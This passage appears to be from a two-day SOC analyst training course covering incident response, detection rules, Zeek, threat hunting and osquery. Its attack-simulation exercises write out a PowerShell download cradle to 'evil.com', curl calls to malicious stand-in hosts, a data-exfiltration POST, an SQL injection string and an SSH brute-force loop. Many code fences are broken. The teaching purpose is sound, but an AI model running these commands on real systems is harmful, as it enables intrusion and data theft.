    find / -type f -mtime -7 2>/dev/null | head -1000
} > files/recent_modifications.txt

# SUID/SGID files
echo -e "${GREEN}[+]${NC} Finding SUID/SGID files..."
```

```
{
    find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null
} > files/suid_sgid.txt

# Collect logs
echo -e "${GREEN}[+]${NC} Collecting system logs..."
sudo cp -r /var/log logs/ 2>/dev/null

# Memory dump (optional - can be large)
read -p "Capture memory dump? This may take several minutes (y/n): " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]; then
    echo -e "${GREEN}[+]${NC} Capturing memory dump..."
    sudo dd if=/dev/mem of=system/memory.img bs=1M count=1024 2>/dev/null
    echo "Memory dump captured (limited to 1GB)"
fi

# Hash all evidence
echo -e "${GREEN}[+]${NC} Hashing evidence..."
find . -type f -exec sha256sum {} \; > evidence_hashes.txt**Create enrichment pipeline:**

1. **Management → Ingest Pipelines**
2. **Create pipeline → New pipeline**
3. **Name:** "threat-intel-enrichment"
4. **Add processor → Set**
5. **Configuration:**
````json
  {
    "field": "threat.indicator.ip",
    "value": "{{source.ip}}"
  }
````
```

6. **Add processor → Script**
7. **Check IP against threat list:**

```
if (ctx.source?.ip == "198.51.100.25") {
ctx.threat = [
"matched": true,
"type": "malicious_ip",
"source": "MISP"
]
}
```

Create Detection Rule for Threat Intel:

1. **Security → Rules → Create new rule**
2. **Type:** Custom query
3. **Query:**

```
source.ip: ("198.51.100.25" OR "203.0.113.50") OR
destination.ip: ("198.51.100.25" OR "203.0.113.50") OR
dns.question.name: "malicious-domain.example"
```

4. **Name:** "Communication with Known Malicious Infrastructure"
5. **Severity:** Critical
6. **Description:** "Traffic detected to/from known malicious IP or domain"
7. **MITRE ATT&CK:** Command and Control (TA0011)
8. **Create rule**

Test the detection:
````bash
# Simulate connection to malicious IP (won't actually connect)
ping 198.51.100.25

# Simulate DNS query to malicious domain
nslookup malicious-domain.example

# Check alerts in Kibana
````

Hour 8: Incident Response Preparation (4:00 - 5:00 PM)

Incident Response Lifecycle

NIST Incident Response Process:

1. Preparation ↓
2. Detection and Analysis ↓
3. Containment, Eradication, Recovery ↓
4. Post-Incident Activity

Exercise 11: Building an Incident Response Playbook (25 minutes)

Scenario: Suspected Compromised Endpoint

Create structured playbook:
````markdown
# INCIDENT RESPONSE PLAYBOOK
## Suspected Endpoint Compromise

### Initial Detection
- **Trigger:** Alert from EDR/SIEM
- **Indicators:**
  - Unusual process execution
  - Unexpected network connections
  - Privilege escalation attempts
  - Suspicious file modifications

### Immediate Actions (First 15 minutes)

1. **Verify Alert**
   - Review alert details in SIEM
   - Check if false positive
   - Gather initial evidence

2. **Document**
   - Create incident ticket
   - Log all actions with timestamps
   - Take initial notes

3. **Assess Severity**
   - Low: Single endpoint, no sensitive data
   - Medium: Multiple endpoints, non-critical systems
````

- High: Critical systems, sensitive data accessed
- Critical: Active exfiltration, widespread compromise

Containment (15-30 minutes)

4. **Network Isolation**
```bash
# Disconnect from network (keep powered on)
sudo ip link set eth0 down

# Or via firewall
sudo iptables -A INPUT -j DROP
sudo iptables -A OUTPUT -j DROP
```

5. **Preserve Evidence**
```bash
# Memory dump
sudo dd if=/dev/mem of=/mnt/usb/memory_dump.img

# Disk image (if needed)
sudo dd if=/dev/sda of=/mnt/usb/disk_image.img bs=4M

# Process list
ps aux > /tmp/processes.txt

# Network connections
netstat -antp > /tmp/connections.txt

# Logged in users
who > /tmp/users.txt
```

6. **Notify Stakeholders**
   - Inform incident manager
   - Alert affected business unit
   - Brief executive team (if critical)

Investigation (30-60 minutes)

7. **Collect Artifacts**
```bash
   # Browser history
   # Downloads folder
   # Recent file modifications
   # Scheduled tasks
   # Startup items
   # User accounts
```

8. **Timeline Analysis**
   - When did compromise occur?
   - What was the initial vector?
   - What actions did attacker take?
   - What data was accessed?

9. **Scope Assessment**
   - Check other endpoints
   - Review network traffic
   - Identify lateral movement
   - Determine data exposure

Eradication (1-2 hours)

10. **Remove Threat**
    - Terminate malicious processes

- Delete malware files
- Remove persistence mechanisms
- Reset compromised credentials
- Patch vulnerabilities

11. **System Hardening**
- Apply security updates
- Review configurations
- Implement additional controls
- Update firewall rules

Recovery (2-4 hours)

12. **Restore Operations**
- Rebuild system if necessary
- Restore from clean backup
- Re-image if severe
- Monitor closely

13. **Verification**
- Scan for malware
- Check for IOCs
- Monitor behavior
- Confirm clean state

Post-Incident (Following days)

14. **Documentation**
- Complete incident report
- Timeline of events
- IOCs identified
- Actions taken
- Lessons learned

15. **Improvement**
    - Update detection rules
    - Enhance monitoring
    - Train staff
    - Test improvements

Key Contacts
- SOC Manager: [contact]
- Incident Commander: [contact]
- IT Manager: [contact]
- Legal: [contact]
- PR/Communications: [contact]

Tools Required
- Memory analysis: Volatility
- Disk forensics: Autopsy
- Network analysis: Wireshark
- Malware analysis: REMnux
- Documentation: TheHive
````

#### Exercise 12: Incident Simulation (20 minutes)

**Simulate a security incident:**

**Scenario:** Malware execution detected
````bash
# Step 1: Create "suspicious" file
echo '#!/bin/bash' > /tmp/suspicious.sh
echo 'curl http://malicious.example/data' >> /tmp/suspicious.sh
chmod +x /tmp/suspicious.sh

```
# Step 2: Execute (safely - just demonstrates detection)
/tmp/suspicious.sh &

# Step 3: Generate network activity
curl -A "malware-bot/1.0" http://example.com

# Step 4: Create suspicious process
sleep 9999 &

# Step 5: Simulate credential access
sudo cat /etc/shadow > /dev/null
````

Investigate in Kibana:

1. **Open Security → Alerts**
2. **Look for generated alerts**
3. **Click alert → View details**
4. **Analyze:**
   - Process execution
   - Network connections
   - File modifications
   - User actions

Practice response:
````bash
# Kill suspicious process
ps aux | grep sleep
kill [PID]

# Remove suspicious file
rm /tmp/suspicious.sh
```

```
# Check what data was accessed
sudo ausearch -ts recent -m FILE_OPEN

# Review authentication logs
sudo grep -i "authentication failure" /var/log/auth.log
````

Document in incident ticket:
- Time of detection
- IOCs identified
- Actions taken
- Systems affected
- Remediation steps
- Lessons learned

Evening Wrap-Up (5:00 - 6:00 PM)

Day 1 Summary and Practice Lab

Exercise 13: Comprehensive SOC Scenario (45 minutes)

Complete end-to-end SOC workflow:

Phase 1: Preparation (5 minutes)
````bash
# Ensure all services running
sudo systemctl start elasticsearch
sudo systemctl start kibana
sudo systemctl start suricata
sudo systemctl start filebeat
```

```
# Verify in Kibana (http://localhost:5601)
````

Phase 2: Generate Attack Traffic (10 minutes)
````bash
# Simulate reconnaissance
nmap -sS localhost

# Simulate brute force
for i in {1..10}; do
  ssh fakeuser@localhost
done

# Simulate web attack
curl -A "sqlmap/1.0" http://localhost
curl "http://localhost/admin.php?id=1' OR '1'='1"

# Simulate C2 connection
curl http://198.51.100.25:8080

# Simulate data exfiltration
dd if=/dev/urandom bs=1M count=100 | base64 > /tmp/exfil_data.txt
curl -X POST -d @/tmp/exfil_data.txt http://example.com
````

Phase 3: Detection and Analysis (15 minutes)

1. **Open Kibana → Security → Alerts**
2. **Review triggered alerts:**
   - SSH brute force
   - SQL injection attempt
   - Suspicious user agent
   - C2 communication

3. **Investigate each alert:**
   - Click alert → Expand details
   - View source/destination IPs
   - Check timestamps
   - Review related events

4. **Pivot to Discover:**
   - Filter by source IP
   - View all activities from that IP
   - Construct timeline
   - Identify attack pattern

5. **Document findings:**
   - Attack vector identified
   - Scope of compromise
   - IOCs extracted
   - Severity assessment

Phase 4: Response (10 minutes)
````bash
# Containment: Block malicious IP (simulation)
sudo iptables -A INPUT -s 198.51.100.25 -j DROP
sudo iptables -A OUTPUT -d 198.51.100.25 -j DROP

# Eradication: Remove artifacts
rm /tmp/exfil_data.txt

# Create Suricata rule for future detection
echo 'alert ip any any -> 198.51.100.25 any (msg:"Blocked C2 Communication"; sid:1000010; rev:1;)' | sudo tee -a
/etc/suricata/rules/local.rules

# Reload Suricata
````

```
sudo systemctl reload suricata
````

Phase 5: Reporting (5 minutes)

Create incident summary:

INCIDENT REPORT: Simulated Multi-Stage Attack

Date: [Today's date]
Analyst: [Your name]
Severity: HIGH

SUMMARY:
Detected and responded to simulated multi-stage attack including
reconnaissance, brute force, web exploitation, and C2 communication.

TIMELINE: [HH:MM] - Port scan detected (reconnaissance) [HH:MM] - SSH brute force attempts (credential access) [HH:MM] - SQL injection attempts (initial access) [HH:MM] - Communication with known C2 (command and control) [HH:MM] - Large data transfer (exfiltration)

ACTIONS TAKEN:

1. Blocked malicious IP via firewall
2. Removed exfiltration staging file
3. Created detection rules
4. Updated threat intelligence

IOCs:

- IP: 198.51.100.25

- User-Agent: sqlmap/1.0
- File: /tmp/exfil_data.txt

RECOMMENDATIONS:

1. Implement rate limiting for SSH
2. Deploy WAF for web applications
3. Enhance egress filtering
4. Conduct security awareness training

STATUS: CONTAINED AND MITIGATED

Day 1 Knowledge Check

Self-assessment questions:

SIEM Operations:
- [ ] Can I explain what a SIEM does?
- [ ] Can I configure log collection with Filebeat?
- [ ] Can I create visualizations in Kibana?
- [ ] Can I build a security dashboard?
- [ ] Can I write detection rules?

Network Monitoring:
- [ ] Do I understand IDS vs IPS?
- [ ] Can I configure Suricata?
- [ ] Can I write custom Suricata rules?
- [ ] Can I integrate Suricata with SIEM?

Threat Intelligence:
- [ ] Do I understand different IOC types?
- [ ] Can I use MISP for threat intel?
- [ ] Can I create detection rules from IOCs?
- [ ] Can I enrich logs with threat data?

Incident Response:
- [ ] Can I follow IR lifecycle?
- [ ] Can I create incident playbooks?
- [ ] Can I investigate alerts in SIEM?
- [ ] Can I document incidents properly?

DAY 2: Detection Engineering and Threat Hunting

Morning Session (8:00 AM - 12:00 PM)

Hour 1: Advanced Detection Engineering (8:00 - 9:00 AM)

The Detection Engineering Mindset

Detection Engineering: Scientific approach to threat detection

Key principles:
1. **Hypothesis-driven:** "If attacker does X, we'll see Y"
2. **Data-focused:** Detection requires quality telemetry
3. **Iterative:** Continuously tune and improve
4. **Measurable:** Track detection effectiveness
5. **Documented:** Share knowledge across team

Detection Maturity Model

Level 1: Signature-based
- Known malware hashes
- IP/domain blacklists
- Simple pattern matching
- High false negatives

Level 2: Rule-based
- Behavioral rules
- Threshold detection
- Correlation rules
- Some false positives

Level 3: Behavioral analytics
- Baseline normal behavior
- Detect anomalies

- Statistical analysis
- Machine learning

Level 4: Threat hunting
- Proactive searching
- Hypothesis testing
- Advanced analytics
- Uncover hidden threats

Level 5: Automated response
- SOAR integration
- Automated containment
- Self-healing systems
- Continuous improvement

Exercise 14: Building Advanced Detection Rules (30 minutes)

Scenario 1: Credential Stuffing Attack

Attacker tries many username/password combinations from breach data.

Detection logic:

High number of failed logins from single IP

- Low number of usernames attempted
- Short time window = Credential stuffing

Rule:
IF failed_logins > 20
AND unique_users < 5

AND time_window < 10 minutes
THEN alert "Credential Stuffing"

```
**Implementation in Kibana:**

1. **Create rule → Threshold**
2. **Query:**
```

event.action: "authentication_failure" AND
event.category: "authentication"

```
3. **Threshold:**
   - Count > 20
   - Group by: `source.ip`
   - Time window: 10 minutes
4. **Additional condition:**
   - Unique `user.name` count < 5
5. **Name:** "Credential Stuffing Attack"
6. **Severity:** Critical
7. **MITRE ATT&CK:** T1110.004 - Credential Stuffing

**Scenario 2: Living Off The Land (LOLBins)**

Attackers use legitimate system tools for malicious purposes.

**Suspicious LOLBin usage:**
```

PowerShell download cradle: powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload')"

Detection rule:

Process: powershell.exe

- Arguments contain: "DownloadString" OR "WebClient" OR "Invoke-Expression"
- Arguments contain: "-nop" OR "-hidden" OR "-enc" = Suspicious PowerShell

Implementation:

1. **Query:**

process.name: "powershell.exe" AND
process.args: ("DownloadString" OR "WebClient" OR "IEX") AND
process.args: ("-nop" OR "-hidden" OR "-enc" OR "-w hidden")

2. **Name:** "Suspicious PowerShell Download Cradle"
3. **Severity:** High
4. **MITRE ATT&CK:** T1059.001 - PowerShell

Scenario 3: Kerberoasting

Attackers request service tickets to crack offline.

Detection indicators:

Multiple TGS requests

- For SPN accounts

- From single user
- In short timeframe = Potential Kerberoasting

Query (Windows event logs if available):

event.code: "4769" AND
event.action: "kerberos_service_ticket" AND
winlog.event_data.TicketEncryptionType: "0x17"

Threshold: > 10 TGS requests in 5 minutes from same user

Hour 2: Zeek Network Security Monitor (9:00 - 10:00 AM)

Understanding Zeek (formerly Bro)

Zeek: Network security monitoring framework

What makes Zeek powerful:
- Protocol analysis (HTTP, DNS, SSL, SSH, etc.)
- File extraction from network
- Detailed connection logging
- Scripting language for custom analysis
- Anomaly detection

Zeek vs. Suricata:

Suricata:
- Signature-based IDS
- Real-time alerting
- Fast pattern matching
- Rules-based detection

Zeek:
- Protocol analysis
- Detailed logging
- Behavioral detection
- Scriptable framework

Use both: Complementary tools

Exercise 15: Zeek Configuration and Analysis (30 minutes)

Step 1: Configure Zeek
````bash
# Edit Zeek configuration
sudo nano /opt/zeek/etc/node.cfg
````

Configuration:

[zeek]
type=standalone
host=localhost
interface=eth0 # Your network interface

Step 2: Deploy Zeek
````bash
# Deploy Zeek
sudo zeekctl deploy

# Check status
sudo zeekctl status

# If not running, start
sudo zeekctl start
````

Step 3: Explore Zeek Logs
````bash
# Zeek log directory
cd /opt/zeek/logs/current/

# List available logs
ls -lh

# Key log files:
# conn.log - All connections
# dns.log - DNS queries
# http.log - HTTP requests
# ssl.log - SSL/TLS connections
# files.log - Files transferred
# weird.log - Unusual activity
````

Step 4: Analyze Connection Log
````bash
# View connections (tab-separated)
````

````
cat conn.log

# Better formatted view
zeek-cut id.orig_h id.resp_h id.resp_p proto service < conn.log | head -20

# Extract specific fields
zeek-cut ts id.orig_h id.orig_p id.resp_h id.resp_p service < conn.log | head -20
````

Step 5: Generate Test Traffic
````
```bash
# HTTP traffic
curl http://example.com

# DNS queries
nslookup google.com
dig facebook.com

# HTTPS traffic
curl https://github.com

# Check logs updated
sudo zeekctl restart
tail -20 /opt/zeek/logs/current/http.log
tail -20 /opt/zeek/logs/current/dns.log
````

Step 6: Analyze HTTP Traffic
````
```bash
# View HTTP requests
zeek-cut ts host uri < /opt/zeek/logs/current/http.log

# Find POST requests
````

```
grep POST /opt/zeek/logs/current/http.log

# Extract User-Agents
zeek-cut user_agent < /opt/zeek/logs/current/http.log | sort | uniq -c | sort -rn
````

Step 7: DNS Analysis
````bash
# View DNS queries
zeek-cut ts id.orig_h query qtype_name answers < /opt/zeek/logs/current/dns.log

# Find uncommon TLDs (potential DGA domains)
zeek-cut query < /opt/zeek/logs/current/dns.log | awk -F. '{print $NF}' | sort | uniq -c | sort -rn

# Long domain names (DGA indicator)
zeek-cut query < /opt/zeek/logs/current/dns.log | awk 'length > 50'
````

Exercise 16: Custom Zeek Scripts (20 minutes)

Create detection script:
````bash
# Create custom script
sudo nano /opt/zeek/share/zeek/site/local.zeek
````

Add custom detection:
````zeek
# Detect long DNS queries (potential DGA)
@load base/protocols/dns

event dns_request(c: connection, msg: dns_msg, query: string, qtype: count, qclass: count)
{
```

```
    if ( |query| > 50 )
    {
        print fmt("Long DNS query detected: %s from %s", query, c$id$orig_h);

        # Could send to SIEM here
    }
}

# Detect suspicious User-Agents
@load base/protocols/http

event http_request(c: connection, method: string, original_URI: string,
                   unescaped_URI: string, version: string)
{
    if ( /sqlmap|nikto|nmap|masscan|metasploit/ in c$http$user_agent )
    {
        print fmt("Suspicious User-Agent: %s from %s to %s%s",
                  c$http$user_agent, c$id$orig_h, c$http$host, original_URI);
    }
}

# Detect high connection rate (potential scanning)
global scan_threshold = 100;
global src_connections: table[addr] of count &create_expire = 1min;

event new_connection(c: connection)
{
    if ( c$id$orig_h !in src_connections )
        src_connections[c$id$orig_h] = 0;

    ++src_connections[c$id$orig_h];

    if ( src_connections[c$id$orig_h] > scan_threshold )
```

```
    {
        print fmt("Possible scanning from %s - %d connections in 1 minute",
                c$id$orig_h, src_connections[c$id$orig_h]);
    }
}
````

Deploy script:
````bash
# Check syntax
sudo zeek -C -r /opt/zeek/share/zeek/site/local.zeek

# Deploy
sudo zeekctl deploy

# Monitor for alerts
sudo tail -f /opt/zeek/logs/current/weird.log
````

Integrating Zeek with Elastic Stack

Step 1: Configure Filebeat for Zeek
````bash
# Enable Zeek module
sudo filebeat modules enable zeek

# Configure paths
sudo nano /etc/filebeat/modules.d/zeek.yml
````

Configuration:
````yaml
- module: zeek
```

```
  connection:
    enabled: true
    var.paths: ["/opt/zeek/logs/current/conn.log"]
  dns:
    enabled: true
    var.paths: ["/opt/zeek/logs/current/dns.log"]
  http:
    enabled: true
    var.paths: ["/opt/zeek/logs/current/http.log"]
  ssl:
    enabled: true
    var.paths: ["/opt/zeek/logs/current/ssl.log"]
  files:
    enabled: true
    var.paths: ["/opt/zeek/logs/current/files.log"]
````

Step 2: Restart Filebeat
````bash
sudo systemctl restart filebeat

# Verify logs ingesting
sudo tail -f /var/log/filebeat/filebeat
````

Step 3: View in Kibana

1. **Discover → `filebeat-*`**
2. **Filter:** `event.module: "zeek"`
3. **Explore Zeek data:**
   - `zeek.connection.orig_bytes`
   - `zeek.dns.query`
   - `zeek.http.host`

- `source.ip` / `destination.ip`

Step 4: Create Zeek Dashboard

Visualizations:
- Top DNS queries (data table)
- HTTP methods distribution (pie)
- Connection timeline (line)
- Top destinations (horizontal bar)
- Data transferred (metric)

Hour 3: Threat Hunting Fundamentals (10:00 - 11:00 AM)

What is Threat Hunting?

Threat Hunting: Proactive search for threats that evade automated detection

Why hunt?
- Automated detection isn't perfect
- New threats unknown to signatures
- Advanced persistent threats (APTs)
- Insider threats
- Zero-day exploits

Hunting vs. Detection:

Detection (Reactive):
- Alert-driven
- Known threats
- Automated
- High volume

Hunting (Proactive):
- Hypothesis-driven
- Unknown threats
- Manual/semi-automated
- Focused investigation

The Threat Hunting Loop

1. Hypothesis ↓
2. Investigation ↓
3. Discovery ↓
4. Enrichment (if threat found) ↓
5. Detection Engineering (create rules) ↓ Back to 1

Exercise 17: Structured Threat Hunt (40 minutes)

Hunt Mission: Discover Lateral Movement

Hypothesis:
"Attackers who compromise an endpoint will attempt lateral movement using administrative protocols (RDP, SMB, WinRM, SSH)"

Step 1: Define Scope

Time range: Last 7 days
Systems: All endpoints

Protocols: RDP (3389), SMB (445), SSH (22), WinRM (5985)

Focus: Unusual authentication patterns

Step 2: Gather Data

In Kibana Discover:

Filter for remote access

destination.port: (3389 OR 445 OR 22 OR 5985) AND
event.action: ("authentication" OR "login" OR "connection")

Time range: Last 7 days

Step 3: Establish Baseline

Normal patterns to establish:

- Which users normally use RDP?
- Which systems typically connect to each other?
- What are normal authentication times?
- What's the typical authentication frequency?

Queries to run:

User RDP activity baseline

source.user.name: * AND destination.port: 3389

| top source.user.name by count

Systems commonly connecting via SMB

destination.port: 445

| stats count by source.ip, destination.ip

Authentication time patterns

event.action: "authentication"

| timechart span=1h count by source.user.name

Step 4: Hunt for Anomalies

Anomaly 1: Account used from multiple IPs

User account accessed from many sources

event.action: "authentication" AND event.outcome: "success"

| stats dc(source.ip) as unique_ips by source.user.name

| where unique_ips > 5

Anomaly 2: After-hours authentication

Authentication outside business hours (adjust for timezone)

event.action: "authentication"

| where hour_of_day < 6 OR hour_of_day > 20

Anomaly 3: Service account interactive logon

Service accounts shouldn't have interactive sessions

source.user.name: "*svc*" AND event.action: "interactive_logon"

Anomaly 4: Rapid sequential connections

Same user hitting many systems quickly

event.action: "connection" AND destination.port: (445 OR 3389)

| stats count by source.user.name, bin(@timestamp, 5m)

| where count > 10

Step 5: Investigate Findings

For each anomaly found:
````bash
# Pivot to related events
# Example: If user "bob" showed anomalous behavior

# All activities from that user
source.user.name: "bob"

# All connections from IP that user used
source.ip: "192.168.1.50"

# Timeline of activities
# Sort by timestamp
# Look for:
# - Initial compromise indicators
# - Reconnaissance activities
# - Privilege escalation attempts
# - Data access patterns
# - Lateral movement sequence
````

Step 6: Document Findings
````markdown
# THREAT HUNT REPORT

## Hunt Hypothesis
Lateral movement via administrative protocols

## Timeframe
[Dates]
````

Findings

Finding 1: Account Used from Multiple IPs
User: engineering_admin
IPs: 192.168.1.10, 192.168.1.25, 192.168.1.87, 192.168.1.103
Time: Within 30-minute window
Assessment: SUSPICIOUS
Recommendation: Investigate if account compromised

Finding 2: After-Hours RDP
User: contractor_001
Time: 2:30 AM - 4:15 AM
System: FILE-SERVER-01
Assessment: ANOMALOUS
Recommendation: Verify legitimate business need

Finding 3: Service Account Interactive Logon
Account: svc_backup
Activity: Interactive RDP session
Assessment: VIOLATION
Recommendation: Reset credentials, review system access

IOCs Identified
- IP: 192.168.1.87 (unusual source)
- Account: engineering_admin (potential compromise)
- Time: 2024-12-15 02:30-04:15 (unusual activity window)

Detection Rules Created
1. Service account interactive logon alert
2. After-hours authentication from non-approved IPs
3. Account use from >3 IPs in 1 hour

Next Steps
1. Interview users about flagged activities
2. Deploy new detection rules
3. Enhance logging for lateral movement
4. Schedule follow-up hunt in 30 days
````

**Step 7: Create Detection Rules**

Turn findings into automated detection:

# Rule 1: Service Account Interactive Session

IF user.name matches "*svc*" AND event.action == "interactive_logon" THEN alert "Service Account Interactive Use"

# Rule 2: Rapid System Access

IF unique destination.ip count > 10
BY source.user.name
WITHIN 5 minutes
THEN alert "Potential Lateral Movement"

# Rule 3: After-Hours Admin Activity

IF source.user.name IN admin_accounts
AND hour_of_day < 6 OR hour_of_day > 20
AND NOT source.ip IN approved_ips
THEN alert "After-Hours Admin Activity"
````

Hour 4: Advanced SIEM Queries and Analytics (11:00 AM - 12:00 PM)

Elastic Query Language (EQL)

EQL: Purpose-built for threat detection

Advantages:
- Sequence detection (event A then B then C)
- Temporal correlation
- Clear syntax
- Built for security use cases

Exercise 18: Advanced EQL Queries (30 minutes)

Query 1: Process Injection Sequence
````eql
sequence by user.name
  [process where process.name == "powershell.exe"]
  [file where file.name == "*.dll" and event.action == "creation"]
  [process where event.action == "injection"]
````

What this detects:
1. PowerShell execution
2. DLL file created
3. Process injection
All by same user, in sequence

Query 2: Credential Dumping Pattern
````eql
````

```
sequence by host.name
  [process where process.name == "reg.exe" and
   process.args == "*HKLM\\SAM*"]
  [file where file.path == "*\\Windows\\Temp\\*.hive"]
```

What this detects:
1. Registry access to SAM hive
2. File creation in Temp (dumped hive)
Indicates credential dumping attempt

Query 3: Golden Ticket Attack
```eql
sequence by user.name with maxspan=1h
  [authentication where event.outcome == "success" and
   event.action == "kerberos_authentication"]
  [authentication where event.action == "kerberos_ticket_request" and
   winlog.event_data.TicketEncryptionType == "0x17"]
  [network where destination.port == 88]
```

Query 4: Pass-the-Hash Detection
```eql
sequence by source.ip
  [authentication where event.outcome == "failure" and
   event.action == "ntlm_authentication"]
  [authentication where event.outcome == "success" and
   event.action == "ntlm_authentication" and
   user.name != "null"]
```

Create EQL Rule in Kibana:

1. **Security → Rules → Create new rule**
2. **Rule type:** EQL
3. **Paste query**
4. **Name:** "Process Injection Sequence Detection"
5. **Severity:** Critical
6. **MITRE ATT&CK:** T1055 - Process Injection
7. **Schedule:** Run every 5 minutes
8. **Create rule**

Statistical Analysis and Baselining

Use case: Detect data exfiltration

Step 1: Establish baseline

Average bytes transferred per user per day

source.user.name: * AND network.bytes: *
| stats avg(network.bytes) as avg_bytes by source.user.name
| eval baseline = avg_bytes

Step 2: Detect anomalies

Current day transfer volume

source.user.name: * AND network.bytes: * AND @timestamp >= "now-24h"
| stats sum(network.bytes) as total_bytes by source.user.name
| where total_bytes > (baseline * 3)

Step 3: Machine Learning Detection (Kibana ML)

1. **Machine Learning → Create job**
2. **Job type:** Anomaly detection
3. **Data:** `filebeat-*`
4. **Field to analyze:** `network.bytes`
5. **Split by:** `source.user.name`
6. **Detector:** High sum
7. **Bucket span:** 1 hour
8. **Run job**

After training period (24+ hours), ML will alert on unusual data transfer volumes.

Exercise 19: Building a Threat Hunting Dashboard (20 minutes)

Create comprehensive hunting dashboard:

Visualization 1: Authentication Timeline

Query: event.action: "authentication"

Type: Line chart

Y-axis: Count

X-axis: @timestamp

Split by: event.outcome

Time range: Last 7 days

Visualization 2: Top Failed Authentications

Query: event.outcome: "failure" AND event.action: "authentication"

Type: Data table

Columns: source.ip, user.name, count

Sort by: Count descending

Top 20 entries

Visualization 3: Rare Process Executions

Query: event.action: "process_start"

Type: Tag cloud

Field: process.name

Size by: Inverse document frequency (rare processes appear larger)

Visualization 4: Network Connections Heat Map

Query: event.category: "network"

Type: Heat map

Y-axis: source.ip

X-axis: destination.ip

Color intensity: Byte count

Visualization 5: Suspicious Command Line Activity

Query: process.command_line: (*powershell* OR *cmd* OR *bash*) AND process.command_line: (*download* OR *invoke* OR *execute*) Type: Data table Fields: @timestamp, host.name, user.name, process.command_line

Visualization 6: Privilege Escalation Attempts

Query: event.action: ("privilege_use" OR "process_creation") AND
process.name: ("sudo" OR "su" OR "runas") AND
event.outcome: "failure"
Type: Vertical bar chart
X-axis: Date histogram
Y-axis: Count
Split by: host.name

Combine into dashboard:
1. **Dashboard → Create new**
2. **Add all visualizations**
3. **Arrange in logical layout:**
   - Top row: Authentication timeline, failed auth table
   - Middle row: Process executions, network heat map
   - Bottom row: Suspicious commands, privilege escalation
4. **Add time filter**: Last 7 days
5. **Save:** "Threat Hunting Dashboard"
6. **Set auto-refresh:** Every 5 minutes

Lunch Break (12:00 PM - 1:00 PM)

Reflection Questions:
- How does proactive hunting differ from reactive detection?
- What patterns indicate lateral movement?
- How would you baseline normal behavior?
- What anomalies did you find most interesting?

Afternoon Session (1:00 PM - 5:00 PM)

Hour 5: Endpoint Detection and Response (EDR) Concepts (1:00 - 2:00 PM)

What is EDR?

Endpoint Detection and Response:
- Continuous endpoint monitoring
- Behavioral analysis

- Threat detection and response
- Forensic data collection
- Real-time visibility

Key EDR Capabilities:

Detection:
- Process monitoring
- File integrity monitoring
- Registry monitoring (Windows)
- Network connections
- Memory analysis

Investigation:
- Historical forensics
- Process tree visualization
- File provenance
- Timeline reconstruction

Response:
- Remote shell access
- Process termination
- File quarantine
- Network isolation
- Memory dumping

Exercise 20: Osquery for Endpoint Visibility (30 minutes)

Osquery: SQL-based endpoint telemetry

Installation:
````bash
# Install osquery
````

````
sudo apt install osquery -y

# Start osquery daemon
sudo systemctl start osqueryd
sudo systemctl enable osqueryd

# Verify running
sudo systemctl status osqueryd
````

Interactive mode:
````bash
# Launch osqueryi (interactive shell)
sudo osqueryi

# View available tables
.tables

# Exit
.quit
````

Essential osquery queries:

Query 1: Running processes
````sql
SELECT pid, name, path, cmdline, uid
FROM processes
ORDER BY start_time DESC
LIMIT 20;
````

Query 2: Listening ports

````sql
SELECT DISTINCT process.name, listening.port, listening.address
FROM processes
JOIN listening_ports listening ON process.pid = listening.pid;
````

Query 3: Recently modified files
````sql
SELECT path, filename, mtime
FROM file
WHERE path LIKE '/tmp/%'
AND mtime > (strftime('%s', 'now') - 3600)
ORDER BY mtime DESC;
````

Query 4: User accounts
````sql
SELECT uid, gid, username, description, directory, shell
FROM users;
````

Query 5: Scheduled tasks/cron jobs
````sql
SELECT command, path, minute, hour, day_of_month
FROM crontab;
````

Query 6: Suspicious SUID binaries
````sql
SELECT file.path, file.mode, file.uid, users.username
FROM file
JOIN users ON file.uid = users.uid
WHERE file.path LIKE '/usr/%'
````

````
AND (file.mode LIKE '4%' OR file.mode LIKE '2%');
````

Query 7: Startup items
````sql
SELECT name, path, source
FROM startup_items;
````

Query 8: Network connections
````sql
SELECT process.name, process.pid,
       process_open_sockets.remote_address,
       process_open_sockets.remote_port
FROM process_open_sockets
JOIN processes process ON process_open_sockets.pid = process.pid
WHERE remote_address != '127.0.0.1' AND remote_address != '';
````

Create osquery configuration:
````bash
# Edit osquery config
sudo nano /etc/osquery/osquery.conf
````

Configuration:
````json
{
  "schedule": {
    "process_monitor": {
      "query": "SELECT pid, name, path, cmdline FROM processes;",
      "interval": 60,
      "description": "Monitor running processes"
````

```
    },
    "network_connections": {
      "query": "SELECT pid, remote_address, remote_port FROM process_open_sockets WHERE remote_address
!= '127.0.0.1';",
      "interval": 60,
      "description": "Monitor network connections"
    },
    "failed_logins": {
      "query": "SELECT * FROM last WHERE type=7;",
      "interval": 300,
      "description": "Monitor failed login attempts"
    },
    "file_changes": {
      "query": "SELECT target_path, action, time FROM file_events WHERE target_path LIKE '/etc/%';",
      "interval": 60,
      "description": "Monitor critical file changes"
    }
  },
  "packs": {
    "incident-response": "/usr/share/osquery/packs/incident-response.conf",
    "ossec-rootkit": "/usr/share/osquery/packs/ossec-rootkit.conf"
  },
  "options": {
    "logger_plugin": "filesystem",
    "logger_path": "/var/log/osquery"
  }
}
````

Restart osquery:
````bash
sudo systemctl restart osqueryd
```

````
# View logs
sudo tail -f /var/log/osquery/osqueryd.results.log
````

Integrate osquery with Elastic:
````bash
# Configure Filebeat for osquery
sudo nano /etc/filebeat/filebeat.yml
````

Add input:
````yaml
filebeat.inputs:
- type: log
  enabled: true
  paths:
    - /var/log/osquery/osqueryd.results.log
  json.keys_under_root: true
  json.add_error_key: true
  fields:
    log_type: osquery
````
````bash
# Restart Filebeat
sudo systemctl restart filebeat
````

View in Kibana:

log_type: "osquery"

Hour 6: Memory Forensics and Malware Analysis (2:00 - 3:00 PM)

Memory Forensics Fundamentals

Why memory analysis?
- Malware runs in memory
- Evidence of running processes
- Network connections
- Decrypted data
- Injected code
- Hidden processes

What can be extracted:
- Process list
- Command line arguments
- Network connections
- Open files
- Loaded DLLs
- Registry keys
- Passwords
- Encryption keys

Exercise 21: Volatility Memory Analysis (30 minutes)

Volatility: Memory forensics framework
````bash
# Install Volatility 3
sudo apt install volatility3 -y

# Or install from pip
````

```
pip3 install volatility3
````

Create memory dump for analysis:
````bash
# Create sample memory dump (requires root)
sudo dd if=/dev/mem of=/tmp/memory_dump.img bs=1M count=100

